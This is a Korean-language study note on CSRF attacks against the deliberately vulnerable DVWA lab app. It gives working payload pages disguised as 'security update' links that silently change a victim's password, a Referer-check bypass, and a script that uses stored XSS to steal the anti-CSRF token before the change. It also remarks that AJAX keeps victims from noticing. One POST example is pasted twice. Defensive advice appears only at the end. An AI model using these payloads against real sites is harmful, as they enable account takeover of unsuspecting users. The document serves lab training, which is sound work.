전제 : 변경 페이지로 접근할때 password를 물어보고 있지 않음.
a 사이트의 보안을 강화하려면 해당 링크를 클릭하라는 메일을 받았다. 메일을 클릭하는 순간 패스워드가 해커가 원하는 패스워드로 변경이 된다.
<csrf 소스 다운받기>
- https://github.com/secuacademy/webhacking 에서 CSRF 페이로드를 다운로드한다.
- 칼리에서 wget https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrf.html 입력받아 다운로드 한다.
- 다운로드 받은 파일은 서비스를 위해 /opt/lampp/htdocs 로 옮긴다.
1) LOW 레벨
1) 패스워드 변경 페이지를 확인한다.
2) 패스워드를 변경해보고 프록시를 통해 어떻게 데이터가 요청되는지 확인한다.
csrf 공격 페이로드를 작성한다. javascript 의 Ajax 를 이용한 것이다. Ajax 는 웹브러우저의 웹 서버가 내부적으로 데이터 통신을 하고 변경 된 결과를 웹 페이지에 반영함으로써 웹 페이지의 로딩 없이 서비스를 할수 있게 한다. 사실 요즘에는 json을 더 많이 이용한다.
#Ajax 예제
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">
function poc() {
var host='localhost';
var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
var xmlhttp = new XMLHttpRequest(); # XMLHttpRequest 객체를 생성한다.
xmlhttp.open("GET",req_uri,true); # 접속하려는 방식(GET/POST)과 대상을 지정한다. 두번째 인자는 접속하고자 하는 서버쪽 리소스의 주소로써, FORM 태그의 action에 해당한다. 세번째 파라미터는 요구가 비동기식으로 수행될지를 결정한다. TRUE 로 되어 있는 경우에는 자바스크립트 함수의 수행은 서버로부터 응답을 받기전에도 계속 진행된다.
xmlhttp.withCredentials = "true"; # 쿠키를 보내거나 설정하려면 withCredentials 속성을 true로 지정해야 한다. 패스워드를 변경하려면 해당 사용자의 쿠키값이 설정되어 있어야 하기 때문에 true로 지정해야 한다.
xmlhttp.send();
alert('Done!!');
}
</script>
<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>
작성한 127.0.0.1/csrf.html 에 접속하여 'click' 실행하면 왼쪽과 같이 서버에 요청된다. 쿠키 값이 동일한 상태에서 패스워드 변경을 요청하므로 패스워드가 변경된다.
소스를 보면 패스워드 매칭 여부판 확인 할 뿐 그 외는 아무것도 확인하고 있지 않아 문제가 된다.
post 메시지일 경우 아래와 같이 수행하면 된다.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>자바스크립트</title>
<body>
<script>
function add(){
add = 5+3;
document.write(add);
}
function poc() {
/* var data = {
password: 'secu12345!',
password2: 'secu12345!',
}; */
var host='url';
var req_uri = "https://" + host + "other url";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST",req_uri,true);
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xmlhttp.withCredentials = "true";
//xmlhttp.send(JSON.stringify(data));
xmlhttp.send('password=secu12345!&password2=secu12345!');
alert('Done!!!');
}
</script>
</head>
보안업데이트 공지
<a href="javascript:poc()">클릭</a><br/>
</body>
</html>
--> 시나리오
1. 홈페이지내 XSS 취약점을 발견하고 XSS 스크립트를 삽입한다.
(ex, <a href="www.hacker.com/hack.html">클릭 </a>
2. 게시판 사용자가 해당 내용을 클릭하면 자기 자신의 패스워드가 변경된다.
** 이때 주의해야 할 것은 Content-type 을 반드시 지정해야 한다는 것이다. content-type 이란 http header에 쓰이는것인데 데이터(body)의 type 정보를 표현한다. 즉, application/json은 {key:value}의 형태로 전송되며 application/x-www-form-urlencoded가 key-value&key=value 형태로 전송된다. file을 업로드 할때는 multipart/formed-data 를 사용한다.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>자바스크립트</title>
<body>
<script>
function add(){
add = 5+3;
document.write(add);
}
function poc() {
/* var data = {
password: 'secu12345!',
password2: 'secu12345!',
}; */
var host='url';
var req_uri = "https://" + host + "other url";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST",req_uri,true);
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xmlhttp.withCredentials = "true";
//xmlhttp.send(JSON.stringify(data));
xmlhttp.send('password=secu12345!&password2=secu12345!');
alert('Done!!!');
}
</script>
</head>
보안업데이트 공지
<a href="javascript:poc()">클릭</a><br/>
</body>
</html>
--> 시나리오
1. 홈페이지내 XSS 취약점을 발견하고 XSS 스크립트를 삽입한다.
(ex, <a href="www.hacker.com/hack.html">클릭 </a>
2. 게시판 사용자가 해당 내용을 클릭하면 자기 자신의 패스워드가 변경된다.
** 이때 주의해야 할 것은 Content-type 을 반드시 지정해야 한다는 것이다. content-type 이란 http header에 쓰이는것인데 데이터(body)의 type 정보를 표현한다. 즉, application/json은 {key:value}의 형태로 전송되며 application/x-www-form-urlencoded가 key-value&key=value 형태로 전송된다. file을 업로드 할때는 multipart/formed-data 를 사용한다.
2) medium
미디엄 단계에서는 메일을 통한 해커가 자기사이트를 이용한(http://hackersite.com) 공격은 먹히지 않는것을 알 수 있다.
이유는 소스를 보면 알 수 있는데 HTTP의 Rererer 부분이 자체 호스트와 같은지 확인하는 것이다. 사용자가 정상적인 경로로서 이 페이지를 요청하는지 아닌지 확인 하는 것이다.
그러나 csrf 공격이 해커 사이트가 아닌 웹 서버 자체에서 실행이 된다면 refererer 해더에 서버주소가 셋팅되기 때문에 위의 소스는 우회가 된다.
이런 경우에는 자바스크립트로 요청을 보내기 때문에 같은 웹사이트의 어떤 페이지에 XSS 취약점이 있다면 이를 이용하여 자바스크립트를 실행하여 CSRF 공격을 할 수 있다는 것이다. 그렇게 되면 REFERER 헤더에 원래 서버 주소가 설정되기 때문에 Rerferer 를 검사하는 부분이 무용지물이 된다.
또한 문제점이 또 있다.
eregi 함수는 동일한 문자열을 검색하는 함수이다. 즉 HTTP_REFERER 에 SERVER_NAME 즉 localhost 가 포함되어 있는지 확인하는 것이다.
(Server_name 은 host의 localhost 임을 알 수 있다. )
if( ( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
위와 같이 파일 자체를 csrf_localhost.html 으로 변경하고 request 하면 Referer 에 localhost가 포함되어 전송되어 우회가 된다.
따라서 referer 헤더를 비교할 때는 전체가 정확하게 일치하는지 확인해야 한다. 단순이 서버 주소가 포함되어 있는지를 확인하는거는 우회가 된다.
3) high
high 단계에서는 user_token 이 사용된다. 이 토큰은 랜덤으로 생성되며 토큰값이 다를 경우 패스워드 변경에 실패한다. (지금까지의 공격 방법으로는 token 값을 파라미터에 붙여서 넣을 방법이 없다.)
토큰은 CSRF 페이지에 접근 할 때마다 hidden 값으로 부여받는다.
이 경우에는 내부에 stored XSS 공격이 가능한 페이지가 있다면 CSRF 공격이 가능하다. 실습을 위해 소스를 다운받는다.
https://github.com/SecuAcademy/webhacking/blob/master/csrfhigh.js 를 다운받는다.
이 역시 htdocs 밑에 넣어야 한다.
stored xss 공격으로 스크립트를 삽입시키기 위해 DVWA의 XSS (stored) 메뉴에서 다음과 같이 입력한다. (스크립트를 입력할 때는 security level 을 low 로 바꾸고 입력해야 한다.)
그러면 xss(stored) 메뉴에 접근할때 아래와 같이 csrfhigh.js 스크립트가 실행된것을 알 수 있다.
csrfhigh.js 소스를 살펴본다.
var xhr;
var dvwa_csrf_url = '/dvwa/vulnerabilities/csrf/';
req1();
function req1() { # dvwa 의 csrf 메뉴를 누를 때 user 토큰을 알아내기 위해 첫번째 요청을 보낸다.
xhr = new XMLHttpRequest(); # XMLHttpRequest 객체를 생성한다.
xhr.onreadystatechange = req2; # 서버로 보낸 요청에 대한 응답을 받았을때 어떤 동작을 할 것인지를 정한다. 함수명을 지정하면 된다.
xhr.open('GET', dvwa_csrf_url);
xhr.send();
# 서버로 부터 응답을 받은 후의 동작을 결정 한 후에는 실질적으로 요청(request)을 하는것이다. 요청을 하기 위해서는 request class의 open()과 send() 를 호출해야한다.
}
function req2() {
if (xhr.readyState === 4 && xhr.status === 200) { # readyState 4는 complete 으로 request에 대한 처리가 끝났으며 응답할 준비가 완료된 것을 의미한다.
var htmltext = xhr.responseText;
var parser = new DOMParser();
var htmldoc = parser.parseFromString(htmltext,'text/html');
var CSRFtoken = htmldoc.getElementsByName("user_token")[0].value; # 첫번째 요청을 분석하여 user_token 값을 뽑아 낸다.
alert('Found the token: ' + CSRFtoken)
# 그리고 나서 바로 CSRF 공격을 시도한다.
xhr = new XMLHttpRequest();
xhr.open('GET', dvwa_csrf_url + '?password_new=hacker&password_conf=hacker&Change=Change&user_token=' + CSRFtoken); # 알아낸 토큰을 포함한 url 요청을 하여 패스워드 변경을 시도한다.
xhr.send();
}
}
4) impossible
패스워드 변경같은 중요한 기능에는 현재 패스워드를 입력하게 한다. 또는 캡차 기능을 사용 할 수도 있다.
** 일반적인 html폼을 이용하면 공격 성공 후 패스워드 변경 후 페이지로 이동하기때문에 사용자들이 무슨일이 일어났는지 알수 있기 때문에 ajax 가 좋다.
참고
- 화이트 해커가 되기 위한 8가지 기술 중에서 '저자 최봉환'
- http://www.w3im.com/ko/ajax/ajax_xmlhttprequest_send.html
- http://flymc.tistory.com/entry/Ajax-XMLHttpRequest-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-%EC%88%9C%EC%84%9C
- http://www.nextree.co.kr/p9521/
- https://developer.mozilla.org/ko/docs/Web/Guide/AJAX/Getting_Started